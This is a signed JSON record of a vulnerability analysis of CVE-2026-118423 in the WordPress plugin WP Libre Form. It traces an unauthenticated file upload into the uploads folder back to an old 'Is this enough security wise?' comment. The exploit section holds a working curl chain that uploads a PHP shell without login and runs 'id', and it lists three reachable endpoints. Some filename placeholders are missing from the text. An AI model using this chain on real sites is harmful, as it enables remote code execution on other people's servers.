-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"The handler lives in `inc/wplf-ajax.php` at line 8. Its registration lives two lines above it:\n\n```php\nadd_action( 'wp_ajax_wplf_submit', 'wplf_ajax_submit_handler' );\nadd_action( 'wp_ajax_nopriv_wplf_submit', 'wplf_ajax_submit_handler' );\n```\n\nThe second `add_action` is the one that matters. `wp_ajax_nopriv_*` is WordPress's hook for actions that execute without an authenticated session. The author selected it on purpose: this is a contact-form plugin, and the whole point of a contact form is that visitors who are not logged in can submit it.\n\nThe file-upload block lives inside the handler at line 63:\n\n```php\n// handle files\n$uploads_path = wp_upload_dir();\n$should_store_images_in_medialibrary = get_post_meta( $form->ID, '_wplf_media_library', true );\n$counter = 0;\nforeach ( $_FILES as $key => $file ) {\n // Is this enough security wise?\n // Currenly only supports 1 file per input\n if ( $should_store_images_in_medialibrary ) {\n $attach_id = media_handle_upload( $key, 0, array(), array( 'test_form' => false ) );\n // ... wp_get_attachment_url, add_post_meta on success ...\n } else {\n $name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );\n move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name );\n add_post_meta( $post_id, $key . '_attachment', $uploads_path['url'] . '/' . $name );\n $counter++;\n }\n}\n```\n\n## The fix was in the comment. The code shipped without it.\n\nThree facts about the else-branch, in order.\n\n`sanitize_file_name()` is a WordPress core helper. It strips reserved characters, collapses runs of whitespace, trims trailing dots and spaces. It does not inspect extensions. A caller that uploads `pwn.php` gets back `pwn.php`.\n\n`move_uploaded_file()` is PHP's raw move. It does not inspect the destination's extension, the MIME type, the content, or anything else. It is the lowest-level upload sink the language ships. There is no path between it and the attacker's filename that checks for `.php`.\n\n`wp_upload_dir()['path']` resolves to `wp-content/uploads/YYYY/MM`. On every stock Apache WordPress install that directory falls inside the scope of `AddHandler php-script .php`. A file written there with a `.php` suffix becomes code at the moment the webserver maps a URL to it. No server misconfiguration is required. It is the default posture of a WordPress install.\n\nThis is the shape nefariousplan catalogs as [`todo-that-shipped`](/patterns/todo-that-shipped): the fix was in a comment, the code shipped without it. The question-mark comment is the author's own hand, two lines above the raw `move_uploaded_file()` call, in the exact file CVE-2026-118423 names. The code around it shipped seven more times and then stopped shipping, with the question unanswered.\n\n## The comment survived the refactor that made it wrong.\n\nThe comment is not new. It was introduced in WP Libre Form 1.1, SVN-tagged 2016-10-26. Here is the 1.1 version of the same block:\n\n```php\n// handle files\nforeach( $_FILES as $key => $file) {\n // Is this enough security wise?\n // Currenly only supports 1 file per input\n $attach_id = media_handle_upload( $key, 0, array(), array( \"test_form\" => false ) );\n add_post_meta( $post_id, $key, wp_get_attachment_url($attach_id) );\n add_post_meta( $post_id, $key . \"_attachment\", $attach_id );\n}\n```\n\nIn 1.1, every upload went through `media_handle_upload()`. That function is WordPress core; it routes through `wp_check_filetype_and_ext()`, which rejects filenames whose extensions are not on `get_allowed_mime_types()`. PHP is not on that list on any default install. In 1.1 the comment's question had a defensible answer: `media_handle_upload` was enough.\n\nThen a feature landed. Somewhere between 1.1 and 1.5 the plugin gained a per-form `_wplf_media_library` toggle, letting site owners opt out of the Media Library. The toggle is default-off. The new default path is the raw `move_uploaded_file()` call. The security-question comment survived the refactor unchanged, two spaces indented, same characters, now sitting above a code block whose answer is no longer the same. SVN shows seven more tagged releases across 2016 and 2017. None of them revisited the comment.\n\n## WordPress told you the plugin was wrong.\n\n`wp-libre-form.php` line 97, the REST-route registration:\n\n```php\npublic function register_rest_routes() {\n register_rest_route( 'wplf/v1', 'submit', [\n 'methods' => 'POST',\n 'callback' => 'wplf_ajax_submit_handler', // admin-ajax handler, works but...\n // The REST API handbook discourages from using $_POST, and instead use $request->get_params()\n ]);\n}\n```\n\nThe `permission_callback` argument is missing. The REST API handbook specifies that a route without `permission_callback` defaults to callable, and that WordPress will emit a `_doing_it_wrong` notice on every request to the REST index to tell the operator the plugin shipped it wrong. The notice rides on the response header `X-WP-DoingItWrong`. The exact string is:\n\n```\nX-WP-DoingItWrong: The REST API route definition for wplf/v1/submit is missing the required permission_callback argument.\n```\n\nThe framework noticed. The framework emitted the header. Every WordPress install that runs this plugin has been emitting that header on REST-index responses for nine years. Nobody who installed a contact-form plugin was ever going to read a response header. The author who wrote the registration noticed enough to leave a trailing `// admin-ajax handler, works but...` and a second comment one line below acknowledging that the REST API handbook discourages the exact pattern the registration uses.\n\nThree warnings in two files, by the author's own hand, in the same release. None of them produced a `permission_callback`. None of them changed the question-mark comment four files over.\n\n## Three endpoints to the same sink.\n\nThe same handler is reachable three ways. `POST /wp-admin/admin-ajax.php` with `action=wplf_submit`, via the `wp_ajax_nopriv_wplf_submit` hook. `POST /wp-json/wplf/v1/submit`, via the REST route. `POST /index.php?rest_route=/wplf/v1/submit`, which bypasses pretty-permalinks and reaches the same REST route on plain-permalink installs. All three dispatch to `wplf_ajax_submit_handler()`. All three land a file in the same directory.\n\nThe filename is deterministic: `lf_
--`, where `` is PHP's `date('h')`, twelve-hour clock, zero-padded, one through twelve. There is no minute. The counter resets per form submission. Both published PoCs read the server's `Date` response header to anchor the clock and then brute-force a window of seconds across the uploads directory.\n\n```bash\n# Upload. No session, no nonce, no login.\ncurl -s \"http://TARGET/wp-admin/admin-ajax.php\" \\\n -F \"action=wplf_submit\" \\\n -F \"_form_id=32\" \\\n -F \"file=@shell.php;type=application/x-php;filename=pwn.php\"\n# {\"ok\":1,\"submission_id\":55,...}\n\n# Browse the dropped file.\ncurl \"http://TARGET/wp-content/uploads/2026/11/lf_2611061210-0-pwn.php?c=id\"\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\nThis is the shape nefariousplan catalogs as [`unauth-write-to-execution-path`](/patterns/unauth-write-to-execution-path) at its most unornamented. A `nopriv` hook. A raw `move_uploaded_file()`. A predictable filename. A directory the webserver executes `.php` out of by default. No bypass of any security layer; there is no security layer to bypass.\n\n## The plugin is closed. The installations are not.\n\nThe WordPress Plugins Team closed wp-libre-form from the plugin directory on 2026-09-08. The public reason on the plugin's listing is three words: `Reason: Security Issue.` CVE-2026-118423 was assigned 59 days later. There is no 1.5.0.2 in SVN. The author's GitHub has had no pushes to the plugin since 2018. The CVE record cites no fixed version because there is no fixed version. The vendor action ends at the directory listing; the already-installed copies are unchanged.\n\nThe plugin's WordPress.org page shows seven published reviews. The most recent, dated November 2020, is two sentences: `Thank you. This plugin is the best and simple so far.` It is signed by a WordPress administrator with a public profile. That administrator's site is the party the CVE describes. The role is \"small-site owner who installed a contact-form plugin in 2017 and never thought about it again.\" The genre of the case is not sophisticated exploitation; there is nothing sophisticated in the chain. The genre is that the code that asked `// Is this enough security wise?` has been running on live WordPress sites for nine years, and the author who asked the question is gone.\n\nTwo PoC repositories landed within two days of one another in early November 2026. One, by `0xfay @ Cyber Alpha Labs`, ships an `--exploit` flag, a `--targets targets.txt` mass mode, a thread-pool default of 10, and an `interactive()` menu whose option 4 reads `Mass exploit (targets.txt)`. Its README is in Indonesian. Its architecture is not that of a researcher confirming one finding. The second, by `thiscitze`, is a clean single-target English script that stops at verification. The first is the operator's kit. The second is the write-up companion. Both authors independently reconstructed the twelve-hour filename clock inside two days of each other. Neither of them had to guess where the plugin was wrong, because WordPress tells them to.\n\nPoCs: [im0xfay/CVE-2026-118423](https://github.com/im0xfay/CVE-2026-118423), [thiscitze/cve-2026-118423-poc](https://github.com/thiscitze/cve-2026-118423-poc)","closing_line":"In 1.1 the question had a defensible answer. By 1.5 it did not. The comment never changed.","hook_md":"`// Is this enough security wise?` Line 68 of `inc/wplf-ajax.php` in WP Libre Form 1.5.0.1. Two statements below the comment, the handler calls `move_uploaded_file()` with a filename the HTTP caller supplied, writing it into `wp-content/uploads/`. The handler is registered on `wp_ajax_nopriv_wplf_submit` and wired to a REST route whose `register_rest_route()` call omits `permission_callback`. The author wrote the question in October 2016 and shipped the code. The WordPress Plugins Team closed the plugin for \"Security Issue\" on 2026-09-08, without a patch. CVE-2026-118423 was assigned 59 days later. The sites that installed this plugin for their contact form in 2017 are still running the code that asked the question and never answered it.","post_id":852,"slug":"wp-libre-form-is-this-enough-security-wise","title":"CVE-2026-118423: WP Libre Form Asked the Question in 2016. The CVE Is the Answer.","type":"initial","unreadable_sentence":"In 1.1 the question had a defensible answer. By 1.5 it did not. The comment never changed."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCavDdHwAKCRDeZjl4jgkQ JhQnAQDA/6+CHVzgL0kl00TIZhQwIEtPYFvMWVjHE3c//GtEZgD+J3ECtip0rtQA nR0QdnKPtxjzcGxJ3HiDcT09h2i96wU= =+o37 -----END PGP SIGNATURE-----